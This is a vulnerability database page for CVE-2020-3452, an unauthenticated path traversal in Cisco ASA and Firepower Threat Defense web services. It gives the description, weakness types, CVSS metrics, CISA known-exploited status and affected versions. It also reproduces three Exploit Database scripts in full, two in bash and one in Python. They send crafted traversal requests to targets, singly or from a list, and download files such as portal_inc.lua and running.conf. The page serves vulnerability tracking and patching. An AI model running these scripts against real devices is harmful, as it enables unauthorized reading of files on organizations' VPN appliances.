CVE-2020-3452 : Detail

CVE-2020-3452

7.5
/
High
Directory Traversal
A03-InjectionA01-Broken Access Control
97.44%V3
Network
2020-07-22
20h00 +00:00
2025-02-04
15h43 +00:00
CVE.org
NVD
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CVE Descriptions

Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Read-Only Path Traversal Vulnerability

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Cisco ASA and FTD Read-Only Path Traversal Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48722

Publication date : 2020-07-27 22h00 +00:00
Author : 0xmmnbassel
EDB Verified : No

# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion # Google Dork: inurl:/+CSCOE+/ # Date: 2020-08-27 # Exploit Author: 0xmmnbassel # Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 # Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60 # Vulnerability Type: unauthenticated file read # CVE: CVE-2020-3452 #!/bin/bash read="%2bCSCOE%2b/portal_inc.lua" helpFunction() { echo "" echo -e "\t\tCVE-2020-3452" echo "" echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua " echo -e "\t-l for list of IPs in text file" echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua" echo -e "\t-i for single IP test" exit 1 } while getopts "l:r:i:" opt do case "$opt" in l ) input="$OPTARG" ;; r ) read="$OPTARG" ;; i ) website="$OPTARG" ;; ? ) helpFunction ;; esac done #if $website is empty or $input is empty if [ -z "$website" ] && [ -z "$input" ] then echo "Some/all of the parameters are empty"; helpFunction fi #usage if [ -z "$website"]; then while IFS= read -r line do name=$(echo $line | cut -c9-19) #echo "testing $line" filename="$name.txt" #echo $response status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s) if [ $status -eq "400" ]; then echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!" else wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt if [ -s $filename ]; then echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..." echo "downloaded!, $line is vulnerable to CVE-2020-3452." else echo "not vulnerable!" rm -rf $filename fi fi done < "$input" else name=$(echo $website | cut -c9-16) filename="$name.txt" status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s) if [ $status -eq "Bad Request" ]; then echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!" else echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..." wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt if [ -s $filename ]; then echo "downloaded!, $website is vulnerable to CVE-2020-3452." else echo "not vulnerable!" rm -rf $filename fi fi fi
Exploit Database EDB-ID : 49262

Publication date : 2020-12-14 23h00 +00:00
Author : Freakyclown
EDB Verified : No

# Exploit Title: Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2) # Date: 12 Dec 2020 # Exploit Author: [email protected] # Vendor Homepage: cisco.com # Software Link: It’s against Hardware, specifically ASA’s and FTD’s # Version: ASAs (from version 9.6 to 9.14.1.10) and FTD’s (versions 6.2.3 to 6.6.0.1) # Tested on: exploit runs on Python3 on OSX and on Kali Linux against cisco ASA 9.14 # CVE : CVE-2020-3452 # Github : https://github.com/cygenta/CVE-2020-3452 import requests # Written by freakyclown for @CygentaHQ # Cisco ASA Path Traversal # CVE-2020-3452 # Usage: CVE-2020-3452.py {target}" # Example: CVE-2020-3452.py 192.168.0.12" # Requires - Requests - pip3 install requests # # This tool takes advantage of the above cve and attempts to # download files as listed below, it is suggested that you make # a working folder for the outputfiles to avoid confusion if # attacking mutliple ASA's # set your target target = input("Enter target IP/Url: ") def grabstuff(): for file in files: print("trying: ", file) #set request parameters params = ( ('type', 'mst'), ('textdomain', '+CSCOE+/'+file), ('default-language', ''), ('lang', '../'), ) # set the response to the result of the request, inputting in target and params and ignoring ssl cert problems response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False) # write the file to the disk f = open(file,"w") f.write(response.text) f.close() # this is a list of files available to download, more will be added in time # if anyone has a list of ASA files, I'd be happy to add here files = { "sess_update.html", "blank.html", "noportal.html", "portal_ce.html", "portal.html", "logon_custom.css", "svc.html", "logo.gif", "portal_inc.lua", "nostcaccess.html", "session.js", "portal.js", "portal_custom.css", "running.conf", "tlbrportal_forms.js", "logon_forms.js", "win.js", "portal.css", "lced.html", "pluginlib.js", "useralert.html", "ping.html", "app_index.html", "shshimdo_url", "session_password.html", "relayjar.html", "relayocx.html", "color_picker.js", "color_picker.html", "cedhelp.html", "cedmain.html", "cedlogon.html", "cedportal.html", "portal_elements.html", "commonspawn.js", "common.js", "appstart.js", "relaymonjar.html", "relaymonocx.html", "cedsave.html", "tunnel_linux.jnlp", "ask.html", "no_svc.html", "preview.html", "cedf.html", "ced.html", "logon_redirect.html", "logout.html", "tunnel_mac.jnlp", "gp-gip.html", "auth.html", "wrong_url.html", "logon.html"} # obvious thing is obvious, try the things and barf if fail try: grabstuff() except Exception as err: print("Something went wrong sorry") print(err)
Exploit Database EDB-ID : 48871

Publication date : 2020-10-11 22h00 +00:00
Author : 3ndG4me
EDB Verified : No

# Exploit Title: Cisco ASA and FTD 9.6.4.42 - Path Traversal # Date: 2020-10-10 # Exploit Author: 3ndG4me # Vendor: www.cisco.com # Product: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html # CVE : CVE-2020-3452 TARGET=$1 CISCO_KNOWN_FILES="logo.gif http_auth.html user_dialog.html localization_inc.lua portal_inc.lua include nostcaccess.html ask.html no_svc.html svc.html session.js useralert.html ping.html help app_index.html tlbr portal_forms.js logon_forms.js win.js portal.css portal.js sess_update.html blank.html noportal.html portal_ce.html portal.html home logon_custom.css portal_custom.css preview.html session_expired custom portal_elements.html commonspawn.js common.js appstart.js appstatus relaymonjar.html relaymonocx.html relayjar.html relayocx.html portal_img color_picker.js color_picker.html cedhelp.html cedmain.html cedlogon.html cedportal.html cedsave.html cedf.html ced.html lced.html files 041235123432C2 041235123432U2 pluginlib.js shshim do_url clear_cache connection_failed_form apcf ucte_forbidden_data ucte_forbidden_url cookie session_password.html tunnel_linux.jnlp tunnel_mac.jnlp sdesktop gp-gip.html auth.html wrong_url.html logon_redirect.html logout.html logon.html test_chargen" mkdir cisco_asa_files if [ -z "$1" ]; then echo "Usage: cve-2020-3452.sh <target ip/hostname>" echo "Example: cve-2020-3452.sh mytarget.com" echo "Files that are downloaded will be in the newly created 'cisco_asa_files' directory" echo "Target not specificed...exiting..." else for FILE in $CISCO_KNOWN_FILES; do curl "https://$TARGET/+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/${FILE}&default-language&lang=../" | tee cisco_asa_files/$FILE; done fi

Products Mentioned

Configuraton 0

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.6 To (excluding) 9.6.4.42

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.8 To (excluding) 9.8.4.20

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.9 To (excluding) 9.9.2.74

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.10 To (excluding) 9.10.1.42

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.12 To (excluding) 9.12.3.12

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.13 To (excluding) 9.13.1.10

Cisco>>Adaptive_security_appliance_software >> Version From (including) 9.14 To (excluding) 9.14.1.10

Cisco>>Asa_5505 >> Version -

Cisco>>Asa_5510 >> Version -

Cisco>>Asa_5512-x >> Version -

Cisco>>Asa_5515-x >> Version -

Cisco>>Asa_5520 >> Version -

Cisco>>Asa_5525-x >> Version -

Cisco>>Asa_5540 >> Version -

Cisco>>Asa_5545-x >> Version -

Cisco>>Asa_5550 >> Version -

Cisco>>Asa_5555-x >> Version -

Cisco>>Asa_5580 >> Version -

Cisco>>Asa_5585-x >> Version -

Configuraton 0

Cisco>>Firepower_threat_defense >> Version From (including) 6.2.3 To (excluding) 6.2.3.16

Cisco>>Firepower_threat_defense >> Version From (including) 6.3.0 To (excluding) 6.3.0.6

Cisco>>Firepower_threat_defense >> Version From (including) 6.4.0 To (excluding) 6.4.0.10

Cisco>>Firepower_threat_defense >> Version From (including) 6.5.0 To (excluding) 6.5.0.5

Cisco>>Firepower_threat_defense >> Version From (including) 6.6.0 To (excluding) 6.6.0.1

References